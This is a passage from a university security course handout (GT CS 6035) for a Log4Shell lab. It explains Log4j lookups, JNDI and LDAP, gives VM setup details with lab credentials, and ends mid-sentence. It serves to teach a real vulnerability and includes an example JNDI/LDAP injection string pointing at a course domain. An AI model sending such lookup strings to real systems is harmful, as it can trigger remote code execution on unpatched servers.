Project Log4Shell CS 6035: Introduction to Information Security

GT CS 6035: Introduction to Information Security Project Log4Shell! Learning Goals of this Project: Students will learn about a real world critical Java exploit Log4Shell (https://nvd.nist.gov/vuln/detail/CVE-2021-44 ...

GT CS 6035: Introduction to Information Security Project Log4Shell! Learning Goals of this Project: Students will learn about a real world critical Java exploit Log4Shell (https://nvd.nist.gov/vuln/detail/CVE-2021-44228 and https://www.randori.com/blog/cve-2021- 44228/). This lab develops an understanding of sending malicious Java payloads via jndi/ldap lookups to exploit a vulnerable java application that uses a Log4j logger. A simple LDAP library will be used to assist students complete this lab. THIS IS A REAL WORLD CRITICAL VULNERABILITY THAT MOST VENDORS HAVE PATCHED BUT THERE STILL COULD BE APPLICATIONS WITHOUT THE PATCH. THIS PROJECT IS FOR EDUCATIONAL PURPOSES ONLY. ATTEMPTING THIS ON REAL APPLICATIONS COULD PUT YOU IN VIOLATION OF THE LAW AND GEORGIA TECH IS NOT RESPONSIBLE. The final deliverables: A single JSON formatted file will be submitted to Gradescope. This file should be named project_log4shell.json. A template can be found in the Home directory. See Submission Details for more information Important Reference Material: ● Project Introduction (Might not match the project requirements exactly) ● This simple LDAP server that will be used to run the exploit. ● This Log4JExploit Intro and How Log4Shell Works to familiarize yourself with the exploit and how it is accomplished. ● If you have no experience in Java, Log4j/logging, RESTful applications, JNDI, LDAP, we STRONGLY encourage you to do research into the topics. There are many great resources online like Google and YouTube. ● Log4J Documentation ● Hands on Introduction to Log4Shell exploit in general (not this project but helpful) ● Helpful Linux Networking Commands ● NCAT Command ● https://securityblue.team/log4j-hunting-and-indicators/ ● If you would like to learn more about this exploit and Java Object Deserialization Vulnerabilities this paper written by Moritz Bechler is an excellent research paper: Java Unmarshaller Security and so is this BlackHat presentation: A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND GT CS 6035: Introduction to Information Security Submission: Gradescope (autograded) - see Submission Details Virtual Machine: (Note: downloads can be very slow when project first releases due to very high traffic in first few hours/day) - Apple M1 based systems - You cannot complete this project on an M1 based system. - Intel/AMD x64 version - Windows Virtualbox 6.1.16 Download - Mac VirtualBox 6.1.16 Download (for Intel Macs only) - Same as Project Capture the flag or VM Download - Username: log4j, Password: konami-code. You will need to log out of the user for the previous CTF project and log in to the log4j user. BACKGROUND Log4J is a very popular open-source framework that allows application developers to log important messages such as program flow, program state, exceptions, etc. These messages can include user input, dynamic data, database results, etc. Java Naming and Directory Interface (JNDI) creates a way for Java Objects to be looked up at runtime. There are many directory interfaces that provide different ways to lookup files. A common example is a database connection pool so that applications deployed on a server can get the connections they need by only needing to know the JNDI name instead of having to have the connection details. You can use Java Serialization to store the byte array representation of an object to store objects in a directory/naming service. JNDI uses Naming References if the object is too large such as “ldap://server/location” Where this comes into play in this exploit, is the Lightweight Directory Access Protocol (LDAP) which is not specific to Java. LDAP provides the communication language that is required to receive and send information from directory services. It can be used for authentication like sending usernames/passwords or retrieving object data through a url from another server. To tie this into Log4J, Log4J performs lookups which allow for string substitution of certain strings. These are in the form of ${prefix:name} i.e. a common one would be ${java:runtime} and running this would produce “Running Java version 1.8.0_20”. Here is where the JNDI and LDAP come into play. ${jndi:} is a valid lookup expression recognized by the lookup by Log4J. A malicious user could specify a valid lookup protocol such as LDAP, RMI, or DNS in the JNDI lookup and direct the Log4J lookup to their malicious server/file. An example could be $ {jndi:ldap://cs6035.com/exploitfile} which would load data from that domain if a connection